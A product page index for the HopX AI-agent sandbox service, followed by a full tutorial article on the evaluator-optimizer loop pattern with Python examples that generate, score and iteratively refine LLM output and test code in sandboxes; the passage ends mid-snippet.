# HopX - Secure Code Execution for AI Agents > HopX provides secure, isolated sandboxes for AI agents to execute code safely. Deploy LLMs, run untrusted code, and build production AI applications with hardware-level isolation. ## About HopX HopX is the cloud infrastructure for AI agents. We provide: - **Secure Sandboxes**: Hardware-level isolation with dedicated kernels - **100ms Cold Starts**: Fast startup times for responsive AI applications - **Pay-per-Second**: Only pay for compute you actually use - **Multi-Language Support**: Python, Node.js, Go, Rust, and more ## Documentation - [Getting Started](https://docs.hopx.ai/quickstart) - [API Reference](https://docs.hopx.ai/api) - [SDKs](https://docs.hopx.ai/sdks) - [Templates](https://docs.hopx.ai/templates) ## Blog Articles ### Evaluator-Optimizer Loop: Continuous AI Agent Improvement Learn how to build AI agents that evaluate their own outputs and iteratively improve them. Create self-improving systems that consistently produce high-quality results. - URL: https://hopx.ai/blog/ai-agents/evaluator-optimizer-loop/ - Category: AI Agents - Reading Time: 14 min read - Keywords: evaluator optimizer, ai evaluation, self-improving ai, agent optimization, llm evaluation, iterative refinement, quality assurance ai, feedback loop, agentic patterns, continuous improvement ### Human-in-the-Loop: Balancing AI Autonomy and Human Control Learn how to build AI agents that know when to ask for help. Implement approval workflows, escalation patterns, and collaborative human-AI systems that combine the best of both. - URL: https://hopx.ai/blog/ai-agents/human-in-the-loop-ai-agents/ - Category: AI Agents - Reading Time: 13 min read - Keywords: human in the loop, hitl, ai supervision, human oversight, agent approval, ai safety, collaborative ai, human ai interaction, agent escalation, agentic patterns ### Memory for AI Agents: Short-term, Long-term, and RAG Learn how to give AI agents memory—the ability to remember past interactions, learn from experience, and access knowledge beyond their training. Build agents that get smarter over time. - URL: https://hopx.ai/blog/ai-agents/memory-pattern-ai-agents/ - Category: AI Agents - Reading Time: 16 min read - Keywords: ai agent memory, llm memory, rag, retrieval augmented generation, long-term memory ai, vector database, agent context, conversational memory, semantic memory, agentic patterns ### Microsoft Agent Framework with HopX: Secure Code Execution for AI Agents Build AI agents with Microsoft's new Agent Framework and HopX sandboxes. The unified successor to AutoGen and Semantic Kernel, now with isolated code execution. - URL: https://hopx.ai/blog/tutorials/microsoft-agent-framework-hopx/ - Category: Tutorials - Reading Time: 11 min read - Keywords: microsoft agent framework, agent framework, autogen successor, semantic kernel, ai agents, hopx, code execution, multi-agent, azure ai, python agents ### The Orchestrator Pattern: Coordinating Complex AI Agent Workflows Learn how to build orchestrator agents that coordinate multiple specialized agents, manage complex workflows, and handle dynamic task routing. Master the pattern that makes multi-agent systems actually work. - URL: https://hopx.ai/blog/ai-agents/orchestrator-pattern-ai-agents/ - Category: AI Agents - Reading Time: 14 min read - Keywords: orchestrator pattern, agent orchestration, multi-agent coordination, workflow orchestration, agent routing, task delegation, llm orchestration, agent supervisor, agentic patterns, complex workflows ### The Planning Pattern: How AI Agents Break Down Complex Goals Learn how to implement planning in AI agents—the ability to decompose complex goals into executable steps. Build agents that think before they act and adapt when things change. - URL: https://hopx.ai/blog/ai-agents/planning-pattern-ai-agents/ - Category: AI Agents - Reading Time: 14 min read - Keywords: planning pattern, ai planning, task decomposition, goal breakdown, agent planning, hierarchical planning, llm planning, agentic patterns, autonomous agents, plan and execute ### ReAct Pattern: Combining Reasoning and Acting in AI Agents Learn the ReAct pattern—where AI agents think out loud before acting. Build more reliable agents that show their reasoning, catch errors early, and solve complex problems step by step. - URL: https://hopx.ai/blog/ai-agents/react-pattern-reasoning-acting/ - Category: AI Agents - Reading Time: 15 min read - Keywords: react pattern, reasoning and acting, react agent, chain of thought, llm reasoning, agent reasoning, thought action observation, react prompting, agentic patterns, ai agent loop ### Microsoft AutoGen with Isolated Code Execution Using HopX Build production-ready AutoGen agents with secure code execution. Replace Docker with HopX sandboxes for faster, safer multi-agent conversations that can run Python. - URL: https://hopx.ai/blog/tutorials/autogen-hopx-isolated-execution/ - Category: Tutorials - Reading Time: 12 min read - Keywords: autogen, microsoft autogen, code execution, ai agents, hopx, sandbox, multi-agent, docker alternative, python execution, agent conversation ### Build a Code Interpreter Agent with OpenAI and HopX Create an AI agent that writes and executes Python code using GPT-4 and HopX sandboxes. Complete tutorial with tool calling, error handling, and iterative execution. - URL: https://hopx.ai/blog/ai-agents/build-code-interpreter-openai-hopx/ - Category: AI Agents - Reading Time: 10 min read - Keywords: openai, gpt-4, code interpreter, ai agent, hopx, python, tool calling, function calling ### CrewAI Multi-Agent Pipelines with Secure Code Execution Build production-ready CrewAI agents that execute code safely. Learn how to create multi-agent workflows where each agent can run code in isolated HopX sandboxes. - URL: https://hopx.ai/blog/tutorials/crewai-multi-agent-pipelines-hopx/ - Category: Tutorials - Reading Time: 13 min read - Keywords: crewai, multi-agent, ai agents, code execution, hopx, sandbox, agent pipelines, autonomous agents, crew ai, agent orchestration ### Getting Started with HopX: Your First Sandbox in 5 Minutes Create your first secure cloud sandbox with HopX. Learn how to install the SDK, execute code safely, and build AI-powered applications in minutes. - URL: https://hopx.ai/blog/tutorials/getting-started-with-hopx/ - Category: Tutorials - Reading Time: 5 min read - Keywords: hopx, getting started, sandbox, tutorial, python sdk, javascript sdk, code execution, ai agents ### HopX vs Docker vs AWS Lambda: Choosing the Right Execution Environment Compare HopX sandboxes with Docker containers and AWS Lambda for AI workloads. Learn when to use each and why microVMs are ideal for AI agent code execution. - URL: https://hopx.ai/blog/use-cases/hopx-vs-docker-vs-lambda/ - Category: Use Cases - Reading Time: 9 min read - Keywords: hopx, docker, aws lambda, comparison, serverless, containers, microvm, ai agents, code execution ### LangChain Tools with Secure Code Execution Using HopX Learn how to build LangChain agents that execute code safely in isolated sandboxes. Complete tutorial with custom tools, PythonREPL replacement, and production-ready patterns. - URL: https://hopx.ai/blog/tutorials/langchain-tools-secure-code-execution/ - Category: Tutorials - Reading Time: 13 min read - Keywords: langchain, langchain tools, code execution, python repl, ai agents, hopx, sandbox, secure execution, langchain agent, custom tools, function calling ### LlamaIndex + HopX: Building RAG Agents with Code Execution Combine LlamaIndex's powerful RAG capabilities with HopX sandboxed code execution. Build agents that can retrieve information AND compute answers with Python. - URL: https://hopx.ai/blog/tutorials/llamaindex-hopx-rag-code-execution/ - Category: Tutorials - Reading Time: 11 min read - Keywords: llamaindex, rag, code execution, ai agents, hopx, retrieval augmented generation, python, vector search, llama index, agent tools ### Prompt Chaining: How to Build Sequential AI Workflows Learn prompt chaining—the technique of connecting multiple LLM calls where each output becomes the next input. Build reliable, debuggable AI pipelines with practical Python examples. - URL: https://hopx.ai/blog/ai-agents/prompt-chaining-sequential-ai-workflows/ - Category: AI Agents - Reading Time: 14 min read - Keywords: prompt chaining, llm chain, sequential prompts, ai workflow, langchain, prompt pipeline, chain of thought, multi-step prompts, llm orchestration, agentic patterns ### The Reflection Pattern: Building Self-Correcting AI Systems Learn how to implement the reflection pattern—where AI reviews and improves its own output. Build more reliable agents that catch errors, refine answers, and produce higher-quality results. - URL: https://hopx.ai/blog/ai-agents/reflection-pattern-self-correcting-ai/ - Category: AI Agents - Reading Time: 12 min read - Keywords: reflection pattern, self-correcting ai, ai self-improvement, llm reflection, iterative refinement, ai quality, agent patterns, critic agent, self-review, agentic patterns ### Scrape and Analyze Airbnb Data with Firecrawl and HopX Build a complete web scraping and data analysis pipeline using Firecrawl for extraction and HopX sandboxes for secure processing. Extract Airbnb listings, clean data, and generate insights. - URL: https://hopx.ai/blog/tutorials/scrape-analyze-airbnb-data-firecrawl/ - Category: Tutorials - Reading Time: 13 min read - Keywords: firecrawl, web scraping, airbnb, data analysis, python, hopx, data engineering, etl, pandas, feature engineering, llm scraping ### Tool Use: How AI Agents Interact with the Real World Learn how to give AI agents the ability to use tools—APIs, databases, code execution, and more. Build agents that don't just talk, but actually do things. - URL: https://hopx.ai/blog/ai-agents/tool-use-pattern-ai-agents/ - Category: AI Agents - Reading Time: 14 min read - Keywords: tool use, function calling, ai tools, agent tools, openai functions, api integration, ai agent capabilities, llm tools, agentic patterns, tool augmented llm ### Vercel AI SDK: Streaming Code Execution with HopX Build AI applications with the Vercel AI SDK that execute code in real-time. Stream sandbox output to users as it happens using Server-Sent Events and React Server Components. - URL: https://hopx.ai/blog/tutorials/vercel-ai-sdk-streaming-code-execution/ - Category: Tutorials - Reading Time: 15 min read - Keywords: vercel ai sdk, streaming, code execution, next.js, react, hopx, server sent events, ai chat, tool calling, server components ### What Is an AI Agent? The Complete Guide for Developers AI agents are more than chatbots. Learn what makes an AI system agentic, the key components every agent needs, and how to build production-ready autonomous AI systems. - URL: https://hopx.ai/blog/ai-agents/what-is-an-ai-agent/ - Category: AI Agents - Reading Time: 11 min read - Keywords: ai agent, what is an ai agent, autonomous ai, llm agent, agentic ai, ai agent architecture, ai agent vs chatbot, building ai agents, agent loop, tool use ### Why AI Agents Need Isolated Code Execution AI agents that execute code are powerful but dangerous. Learn why hardware-level isolation is essential for production AI systems and how to avoid costly security breaches. - URL: https://hopx.ai/blog/ai-agents/why-ai-agents-need-isolated-code-execution/ - Category: AI Agents - Reading Time: 7 min read - Keywords: ai agents, code execution, security, isolation, llm, sandbox, microvm, production ai ### Announcing HopX MCP Server: Code Execution for AI Assistants Introducing the HopX MCP Server - enable Claude, Cursor, and VS Code to execute code in isolated cloud containers. Install with one command and give your AI assistant superpowers. - URL: https://hopx.ai/blog/product-updates/announcing-hopx-mcp-server/ - Category: Product Updates - Reading Time: 5 min read - Keywords: MCP, Model Context Protocol, Claude, Cursor, VS Code, AI assistant, code execution, sandbox, announcement, product update ### Run Any LLM with Ollama in Secure Sandboxes Deploy Large Language Models using Ollama in secure HopX sandboxes. Learn how to get 100ms cold starts, save up to 78% on costs, and keep data private with hardware-level isolation. - URL: https://hopx.ai/blog/tutorials/run-any-llm-with-ollama-in-secure-sandboxes/ - Category: Tutorials - Reading Time: 13 min read - Keywords: ollama, llm, sandbox, secure, deployment, ai, micro-vm, hopx, self-hosted llm, private ai ### Desktop Automation with HopX: Browser Testing & RPA Learn how to automate browsers, perform RPA tasks, and run desktop applications in secure cloud sandboxes. Complete guide with Playwright, Puppeteer, and Selenium examples. - URL: https://hopx.ai/blog/tutorials/desktop-automation-browser-testing-rpa/ - Category: Tutorials - Reading Time: 8 min read - Keywords: browser automation, RPA, Playwright, Puppeteer, Selenium, desktop automation, web scraping, headless browser, cloud browser, AI automation ### Custom Templates: Pre-bake Your Perfect Environment Learn how to create custom HopX templates with pre-installed dependencies, configurations, and files. Reduce cold start times and ensure consistency across sandboxes. - URL: https://hopx.ai/blog/tutorials/custom-templates-pre-bake-your-environment/ - Category: Tutorials - Reading Time: 7 min read - Keywords: custom templates, sandbox templates, Docker, pre-built environments, cold start optimization, HopX templates, container images, dependencies ### How HopX Achieves 100ms Cold Starts Deep dive into the technology behind HopX's ultra-fast sandbox boot times. Learn about micro-VMs, memory snapshots, and the architecture that enables sub-100ms cold starts. - URL: https://hopx.ai/blog/deep-dives/how-hopx-achieves-100ms-cold-starts/ - Category: Deep Dives - Reading Time: 7 min read - Keywords: cold start, micro-VM, Firecracker, sandbox performance, VM snapshots, cloud performance, serverless, fast boot, virtualization ### Secure File Operations in AI Sandboxes Complete guide to reading, writing, and managing files in HopX sandboxes. Learn secure patterns for file uploads, downloads, and data processing in isolated environments. - URL: https://hopx.ai/blog/tutorials/secure-file-operations-in-ai-sandboxes/ - Category: Tutorials - Reading Time: 8 min read - Keywords: file operations, sandbox files, secure file handling, file upload, file download, data processing, AI sandbox, file security ### Multi-Agent Architectures with HopX Design and implement multi-agent systems where each agent has isolated execution capabilities. Learn patterns for agent coordination, task distribution, and secure inter-agent communication. - URL: https://hopx.ai/blog/deep-dives/multi-agent-architectures-with-hopx/ - Category: Deep Dives - Reading Time: 11 min read - Keywords: multi-agent, AI agents, agent architecture, distributed AI, agent coordination, task distribution, autonomous agents, LangChain, AutoGen ### Data Analysis with Pandas in Isolated Sandboxes Learn how to perform secure data analysis using Pandas in HopX sandboxes. Process CSV files, generate reports, and create visualizations without exposing your data or infrastructure. - URL: https://hopx.ai/blog/tutorials/data-analysis-with-pandas-in-sandboxes/ - Category: Tutorials - Reading Time: 10 min read - Keywords: Pandas, data analysis, Python, CSV processing, data science, visualization, matplotlib, secure analysis, AI data processing ### Streaming Code Execution: Real-time Output for AI Agents Learn how to stream code execution output in real-time from HopX sandboxes. Build responsive AI agents that show progress, handle long-running tasks, and provide immediate feedback. - URL: https://hopx.ai/blog/tutorials/streaming-code-execution-for-agents/ - Category: Tutorials - Reading Time: 9 min read - Keywords: streaming, real-time output, AI agents, code execution, async, websockets, server-sent events, live updates ### Running Jupyter Notebooks in the Cloud Execute Jupyter notebooks programmatically in HopX sandboxes. Learn how to run notebooks headlessly, extract results, and build notebook-powered APIs and automation. - URL: https://hopx.ai/blog/tutorials/running-jupyter-notebooks-in-the-cloud/ - Category: Tutorials - Reading Time: 9 min read - Keywords: Jupyter, notebooks, cloud execution, nbconvert, papermill, headless notebooks, Python, data science, automation ### HopX for Education: Safe Coding Environments for Students Build secure coding platforms for education. Learn how to let students run code safely, grade assignments automatically, and create interactive learning experiences with HopX sandboxes. - URL: https://hopx.ai/blog/use-cases/hopx-for-education-safe-coding-environments/ - Category: Use Cases - Reading Time: 10 min read - Keywords: education, coding education, safe code execution, auto-grading, student coding, online IDE, programming courses, LMS integration, code sandbox ## Use Cases ### AI Code Assistants Build coding assistants that can safely execute and test code in isolated environments. ### Data Analysis Agents Deploy agents that process sensitive data without security risks. ### Automated Testing Run untrusted test suites in isolated sandboxes. ### LLM Deployment Self-host LLMs with Ollama in secure micro-VMs. ## Pricing - **Free Tier**: $200 in credits - **Compute**: $0.000014/vCPU-second - **Memory**: $0.0000045/GiB-second - **Storage**: $0.00000003/GiB-second ## Contact - Website: https://hopx.ai - Documentation: https://docs.hopx.ai - GitHub: https://github.com/hopx-ai ## Legal - Privacy Policy: https://hopx.ai/privacy/ - Terms of Service: https://hopx.ai/terms/ - Security: https://hopx.ai/security/ --- # Full Article Content ## Evaluator-Optimizer Loop: Continuous AI Agent Improvement URL: https://hopx.ai/blog/ai-agents/evaluator-optimizer-loop/ Category: AI Agents Published: 2025-11-27 # Evaluator-Optimizer Loop: Continuous AI Agent Improvement Here's a dirty secret about AI agents: their first output is rarely good enough. But most agents just ship it anyway. The **Evaluator-Optimizer Loop** fixes this. It's a pattern where one component evaluates the output and another component improves it based on that evaluation. Repeat until quality meets the bar. This is how you build agents that consistently produce high-quality outputs, not just occasionally good ones. ## What Is the Evaluator-Optimizer Loop? The pattern separates evaluation from generation: ``` ┌─────────────────────────────────────────────────────────────┐ │ Evaluator-Optimizer Loop │ ├─────────────────────────────────────────────────────────────┤ │ │ │ ┌───────────────┐ │ │ │ Generator │──────────────┐ │ │ │ │ │ │ │ │ Creates │ ▼ │ │ │ initial │ ┌───────────────┐ │ │ │ output │ │ Evaluator │ │ │ └───────────────┘ │ │ │ │ ▲ │ Scores output │ │ │ │ │ Finds issues │ │ │ │ └───────┬───────┘ │ │ │ │ │ │ │ ▼ │ │ │ ┌───────────────┐ │ │ │ No │ Good enough? │ │ │ │ ┌───────┤ │ │ │ │ │ └───────┬───────┘ │ │ │ │ │ Yes │ │ ┌──────┴─────┐ │ ▼ │ │ │ Optimizer │◄──┘ ┌───────────┐ │ │ │ │ │ Output │ │ │ │ Fixes │ └───────────┘ │ │ │ issues │ │ │ └────────────┘ │ │ │ └─────────────────────────────────────────────────────────────┘ ``` Three components work together: 1. **Generator**: Creates the initial output 2. **Evaluator**: Scores the output and identifies issues 3. **Optimizer**: Improves the output based on feedback The loop continues until the evaluator says "good enough" or max iterations are reached. ## Why This Pattern Works ### 1. Separation of Concerns Generation and evaluation are different cognitive tasks. Separating them lets each component focus: ```python # Generator mindset: "Create something that works" # Evaluator mindset: "Find everything wrong with this" # Optimizer mindset: "Fix these specific issues" ``` An LLM trying to do all three at once often compromises on each. ### 2. Explicit Quality Gates Instead of hoping output is good, you define what "good" means: ```python quality_criteria = { "accuracy": "All facts must be verifiable", "completeness": "Must address all parts of the question", "clarity": "A non-expert should understand", "conciseness": "No unnecessary content" } ``` The evaluator checks each criterion explicitly. ### 3. Guaranteed Improvement Each iteration addresses specific issues. Progress is measurable: ``` Iteration 1: Score 6/10 - Issues: missing examples, too technical Iteration 2: Score 8/10 - Issues: one factual error Iteration 3: Score 9/10 - Issues: none critical → Output accepted ``` ## Basic Implementation Here's a complete evaluator-optimizer loop: ```python import openai import json from dataclasses import dataclass @dataclass class Evaluation: score: float # 0-10 passed: bool issues: list[str] suggestions: list[str] class EvaluatorOptimizerAgent: def __init__(self, min_score: float = 8.0, max_iterations: int = 5): self.client = openai.OpenAI() self.min_score = min_score self.max_iterations = max_iterations def run(self, task: str) -> dict: """Generate, evaluate, and optimize until quality threshold met""" # Initial generation output = self._generate(task) iterations = [] for i in range(self.max_iterations): # Evaluate current output evaluation = self._evaluate(task, output) iterations.append({ "iteration": i + 1, "output_preview": output[:200], "score": evaluation.score, "issues": evaluation.issues }) # Check if good enough if evaluation.passed: return { "success": True, "output": output, "final_score": evaluation.score, "iterations": len(iterations), "history": iterations } # Optimize based on feedback output = self._optimize(task, output, evaluation) # Max iterations reached return { "success": False, "output": output, "final_score": evaluation.score, "iterations": len(iterations), "history": iterations, "note": "Max iterations reached" } def _generate(self, task: str) -> str: """Initial generation""" response = self.client.chat.completions.create( model="gpt-4o", messages=[{ "role": "system", "content": "Generate a high-quality response to the task." }, { "role": "user", "content": task }] ) return response.choices[0].message.content def _evaluate(self, task: str, output: str) -> Evaluation: """Evaluate the output quality""" response = self.client.chat.completions.create( model="gpt-4o", messages=[{ "role": "system", "content": f"""Evaluate this output against the original task. Score from 0-10 based on: - Accuracy (are facts correct?) - Completeness (does it fully address the task?) - Clarity (is it easy to understand?) - Quality (is it well-written?) Return JSON: {{ "score": 7.5, "issues": ["issue 1", "issue 2"], "suggestions": ["suggestion 1", "suggestion 2"] }} A score of {self.min_score}+ means it passes.""" }, { "role": "user", "content": f"Task: {task}\n\nOutput to evaluate:\n{output}" }], response_format={"type": "json_object"} ) data = json.loads(response.choices[0].message.content) return Evaluation( score=data["score"], passed=data["score"] >= self.min_score, issues=data.get("issues", []), suggestions=data.get("suggestions", []) ) def _optimize(self, task: str, output: str, evaluation: Evaluation) -> str: """Improve output based on evaluation""" response = self.client.chat.completions.create( model="gpt-4o", messages=[{ "role": "system", "content": """Improve the output by addressing the issues identified. Keep what's already good. Only fix what's broken.""" }, { "role": "user", "content": f"""Original task: {task} Current output: {output} Issues to fix: {json.dumps(evaluation.issues, indent=2)} Suggestions: {json.dumps(evaluation.suggestions, indent=2)} Provide the improved output:""" }] ) return response.choices[0].message.content # Usage agent = EvaluatorOptimizerAgent(min_score=8.0, max_iterations=3) result = agent.run( "Write a technical explanation of how HTTPS works for a junior developer" ) print(f"Success: {result['success']}") print(f"Final score: {result['final_score']}") print(f"Iterations: {result['iterations']}") print(f"\nOutput:\n{result['output']}") ``` ## Specialized Evaluators ### Code Quality Evaluator ```python from hopx import Sandbox class CodeEvaluator: def __init__(self): self.client = openai.OpenAI() def evaluate(self, code: str, requirements: str) -> Evaluation: """Evaluate code quality with actual execution""" # Test 1: Does it run? execution_result = self._execute_code(code) # Test 2: Does it pass tests? test_result = self._run_tests(code, requirements) # Test 3: Code quality analysis quality_result = self._analyze_quality(code) # Combine scores score = self._calculate_score(execution_result, test_result, quality_result) issues = [] if not execution_result["success"]: issues.append(f"Execution error: {execution_result['error']}") if not test_result["passed"]: issues.extend(test_result["failures"]) issues.extend(quality_result["issues"]) return Evaluation( score=score, passed=score >= 8.0 and execution_result["success"], issues=issues, suggestions=quality_result.get("suggestions", []) ) def _execute_code(self, code: str) -> dict: """Actually run the code""" sandbox = Sandbox.create(template="code-interpreter") try: sandbox.files.write("/app/code.py", code) result = sandbox.commands.run("python /app/code.py", timeout=30) return { "success": result.exit_code == 0, "output": result.stdout, "error": result.stderr if result.exit_code != 0 else None } finally: sandbox.kill() def _run_tests(self, code: str, requirements: str) -> dict: """Generate and run tests""" # Generate tests based on requirements test_code = self._generate_tests(code, requirements) sandbox = Sandbox.create(template="code-interpreter") try: sandbox.files.write("/app/solution.py", code) sandbox.files.write("/app/test_solution.py", test_code) sandbox.commands.run("pip install pytest -q") result = sandbox.commands.run("python -m pytest /app/test_solution.py -v") passed = result.exit_code == 0 failures = self._parse_test_failures(result.stdout) if not passed else [] return {"passed": passed, "failures": failures} finally: sandbox.kill() def _analyze_quality(self, code: str) -> dict: """LLM-based code quality analysis""" response = self.client.chat.completions.create( model="gpt-4o", messages=[{ "role": "system", "content": """Analyze code quality. Check for: - Bugs and logic errors - Security issues - Performance problems - Readability issues - Missing error handling Return JSON: {"score": 0-10, "issues": [...], "suggestions": [...]}""" }, { "role": "user", "content": code }], response_format={"type": "json_object"} ) return json.loads(response.choices[0].message.content) ``` ### Writing Quality Evaluator ```python class WritingEvaluator: def __init__(self): self.client = openai.OpenAI() self.criteria = { "accuracy": {"weight": 0.25, "description": "Facts are correct and verifiable"}, "clarity": {"weight": 0.25, "description": "Easy to understand"}, "structure": {"weight": 0.20, "description": "Well-organized with clear flow"}, "engagement": {"weight": 0.15, "description": "Interesting and holds attention"}, "grammar": {"weight": 0.15, "description": "No spelling or grammar errors"} } def evaluate(self, text: str, context: str) -> Evaluation: """Multi-dimensional writing evaluation""" scores = {} all_issues = [] all_suggestions = [] # Evaluate each criterion for criterion, config in self.criteria.items(): result = self._evaluate_criterion(text, context, criterion, config["description"]) scores[criterion] = result["score"] all_issues.extend(result.get("issues", [])) all_suggestions.extend(result.get("suggestions", [])) # Calculate weighted score total_score = sum( scores[c] * self.criteria[c]["weight"] for c in self.criteria ) return Evaluation( score=total_score, passed=total_score >= 8.0 and all(s >= 6.0 for s in scores.values()), issues=all_issues, suggestions=all_suggestions ) def _evaluate_criterion(self, text: str, context: str, criterion: str, description: str) -> dict: response = self.client.chat.completions.create( model="gpt-4o", messages=[{ "role": "user", "content": f"""Evaluate this text for {criterion}: {description} Context: {context} Text: {text} Return JSON: {{"score": 0-10, "issues": [...], "suggestions": [...]}}""" }], response_format={"type": "json_object"} ) return json.loads(response.choices[0].message.content) ``` ## Advanced Patterns ### Multi-Evaluator Ensemble Use multiple evaluators and combine their judgments: ```python class EnsembleEvaluator: def __init__(self, evaluators: list): self.evaluators = evaluators def evaluate(self, output: str, context: str) -> Evaluation: """Combine multiple evaluator opinions""" all_evaluations = [] for evaluator in self.evaluators: eval_result = evaluator.evaluate(output, context) all_evaluations.append(eval_result) # Aggregate scores (weighted average or voting) avg_score = sum(e.score for e in all_evaluations) / len(all_evaluations) # Collect all unique issues all_issues = list(set( issue for e in all_evaluations for issue in e.issues )) # Consensus on pass/fail passes = sum(1 for e in all_evaluations if e.passed) majority_pass = passes > len(all_evaluations) / 2 return Evaluation( score=avg_score, passed=majority_pass, issues=all_issues, suggestions=[s for e in all_evaluations for s in e.suggestions] ) # Usage ensemble = EnsembleEvaluator([ AccuracyEvaluator(), ClarityEvaluator(), StyleEvaluator() ]) ``` ### Progressive Quality Gates Different quality bars for different stages: ```python class ProgressiveOptimizer: def __init__(self): self.quality_gates = [ {"name": "basic", "min_score": 5.0, "focus": ["correctness"]}, {"name": "good", "min_score": 7.0, "focus": ["correctness", "clarity"]}, {"name": "excellent", "min_score": 9.0, "focus": ["correctness", "clarity", "polish"]} ] def run(self, task: str, target_quality: str = "good") -> str: """Progressively improve through quality gates""" output = self._generate(task) target_gate = next(g for g in self.quality_gates if g["name"] == target_quality) target_index = self.quality_gates.index(target_gate) # Progress through each gate up to target for gate in self.quality_gates[:target_index + 1]: output = self._optimize_for_gate(task, output, gate) return output def _optimize_for_gate(self, task: str, output: str, gate: dict) -> str: """Optimize until this gate's criteria are met""" for _ in range(3): # Max attempts per gate evaluation = self._evaluate_for_gate(output, gate) if evaluation.score >= gate["min_score"]: print(f"✓ Passed {gate['name']} gate ({evaluation.score:.1f})") return output output = self._optimize(task, output, evaluation, gate["focus"]) print(f"⚠ Could not pass {gate['name']} gate") return output ``` ### Optimization with Memory Remember what works and what doesn't: ```python class LearningOptimizer: def __init__(self): self.client = openai.OpenAI() self.improvement_history = [] # What worked before self.failure_patterns = [] # What didn't work def optimize(self, task: str, output: str, evaluation: Evaluation) -> str: # Learn from history relevant_successes = self._find_relevant_successes(evaluation.issues) patterns_to_avoid = self._find_failure_patterns(evaluation.issues) response = self.client.chat.completions.create( model="gpt-4o", messages=[{ "role": "system", "content": f"""Improve this output. Issues to fix: {json.dumps(evaluation.issues)} Strategies that worked before for similar issues: {json.dumps(relevant_successes)} Approaches to AVOID (they didn't work): {json.dumps(patterns_to_avoid)}""" }, { "role": "user", "content": f"Task: {task}\n\nCurrent output:\n{output}" }] ) improved = response.choices[0].message.content # Track this attempt self._record_attempt(evaluation.issues, improved) return improved def record_success(self, issues: list, solution: str): """Record a successful optimization for future reference""" self.improvement_history.append({ "issues": issues, "solution_approach": self._extract_approach(solution) }) def record_failure(self, issues: list, failed_approach: str): """Record what didn't work""" self.failure_patterns.append({ "issues": issues, "failed_approach": failed_approach }) ``` ## Real-World Example: Article Generator A complete article generator with evaluation and optimization: ```python from hopx import Sandbox import openai import json class ArticleGenerator: def __init__(self): self.client = openai.OpenAI() self.min_score = 8.5 self.max_iterations = 4 def generate(self, topic: str, requirements: dict) -> dict: """Generate a high-quality article through iterative improvement""" # Phase 1: Initial draft draft = self._create_draft(topic, requirements) # Phase 2: Iterative improvement for iteration in range(self.max_iterations): print(f"\n--- Iteration {iteration + 1} ---") # Evaluate evaluation = self._evaluate_article(draft, topic, requirements) print(f"Score: {evaluation.score}/10") print(f"Issues: {evaluation.issues}") if evaluation.passed: print("✓ Article meets quality bar") break # Optimize draft = self._improve_article(draft, evaluation, requirements) # Phase 3: Final polish final = self._polish(draft) # Verify code examples if present if "```python" in final: final = self._verify_code_examples(final) return { "article": final, "iterations": iteration + 1, "final_score": evaluation.score } def _create_draft(self, topic: str, requirements: dict) -> str: response = self.client.chat.completions.create( model="gpt-4o", messages=[{ "role": "system", "content": f"""Write a technical article. Requirements: - Length: {requirements.get('length', '1500-2000')} words - Audience: {requirements.get('audience', 'developers')} - Style: {requirements.get('style', 'informative but engaging')} - Include: code examples, practical tips Structure: 1. Hook/Introduction 2. Main content (3-5 sections) 3. Practical examples 4. Conclusion with actionable takeaways""" }, { "role": "user", "content": f"Topic: {topic}" }] ) return response.choices[0].message.content def _evaluate_article(self, article: str, topic: str, requirements: dict) -> Evaluation: response = self.client.chat.completions.create( model="gpt-4o", messages=[{ "role": "system", "content": f"""Evaluate this article rigorously. Criteria (score each 0-10): 1. Technical accuracy - Are all facts and code correct? 2. Completeness - Does it cover the topic adequately? 3. Clarity - Is it easy to follow? 4. Engagement - Is it interesting to read? 5. Actionability - Can readers apply what they learned? 6. SEO - Are headings and structure optimized? Requirements to check: {json.dumps(requirements)} Return JSON: {{ "scores": {{"accuracy": 8, "completeness": 7, ...}}, "overall_score": 7.5, "issues": ["specific issue 1", "specific issue 2"], "suggestions": ["specific suggestion 1"] }}""" }, { "role": "user", "content": f"Topic: {topic}\n\nArticle:\n{article}" }], response_format={"type": "json_object"} ) data = json.loads(response.choices[0].message.content) return Evaluation( score=data["overall_score"], passed=data["overall_score"] >= self.min_score, issues=data["issues"], suggestions=data["suggestions"] ) def _improve_article(self, article: str, evaluation: Evaluation, requirements: dict) -> str: response = self.client.chat.completions.create( model="gpt-4o", messages=[{ "role": "system", "content": """Improve the article by fixing the identified issues. Maintain the overall structure and good parts. Focus specifically on the issues listed.""" }, { "role": "user", "content": f"""Current article: {article} Issues to fix: {json.dumps(evaluation.issues, indent=2)} Suggestions to consider: {json.dumps(evaluation.suggestions, indent=2)} Provide the improved article:""" }] ) return response.choices[0].message.content def _polish(self, article: str) -> str: """Final polish pass""" response = self.client.chat.completions.create( model="gpt-4o", messages=[{ "role": "user", "content": f"""Polish this article: - Fix any remaining typos or grammar issues - Ensure smooth transitions between sections - Verify formatting is consistent Article: {article}""" }] ) return response.choices[0].message.content def _verify_code_examples(self, article: str) -> str: """Extract and test all code examples""" import re code_blocks = re.findall(r'```python\n(.*?)```', article, re.DOTALL) sandbox = Sandbox.create(template="code-interpreter") try: for i, code in enumerate(code_blocks): sandbox.files.write(f"/app/example_{i}.py", code) result = sandbox.commands.run(f"python /app/example_{i}.py") if result.exit_code != 0: # Fix the code fixed_code = self._fix_code(code, result.stderr) article = article.replace(f"```python\n{code}```", f"```python\n{fixed_code}```") return article finally: sandbox.kill() # Usage generator = ArticleGenerator() result = generator.generate( topic="Building RESTful APIs with FastAPI", requirements={ "length": "2000-2500 words", "audience": "intermediate Python developers", "style": "practical tutorial", "must_include": ["authentication", "database integration", "testing"] } ) print(f"Generated in {result['iterations']} iterations") print(f"Final score: {result['final_score']}") print(result["article"]) ``` ## Best Practices ### 1. Define Clear Evaluation Criteria ```python # ❌ Vague criteria criteria = ["make it good", "improve quality"] # ✅ Specific, measurable criteria criteria = { "accuracy": { "description": "All facts verifiable, no hallucinations", "min_score": 9, "examples": ["dates correct", "quotes accurate", "statistics cited"] }, "completeness": { "description": "Addresses all aspects of the prompt", "min_score": 8, "examples": ["all questions answered", "no missing sections"] } } ``` ### 2. Limit Iterations ```python class BoundedOptimizer: def __init__(self, max_iterations: int = 5, timeout_seconds: int = 60): self.max_iterations = max_iterations self.timeout = timeout_seconds def run(self, task: str) -> str: start_time = time.time() for i in range(self.max_iterations): # Check timeout if time.time() - start_time > self.timeout: print("Timeout reached") break # Check diminishing returns if i > 2 and score_improvement < 0.5: print("Diminishing returns, stopping") break ``` ### 3. Track Optimization History ```python def run_with_tracking(self, task: str) -> dict: history = [] for i in range(self.max_iterations): evaluation = self._evaluate(output) history.append({ "iteration": i, "score": evaluation.score, "issues_count": len(evaluation.issues), "output_length": len(output), 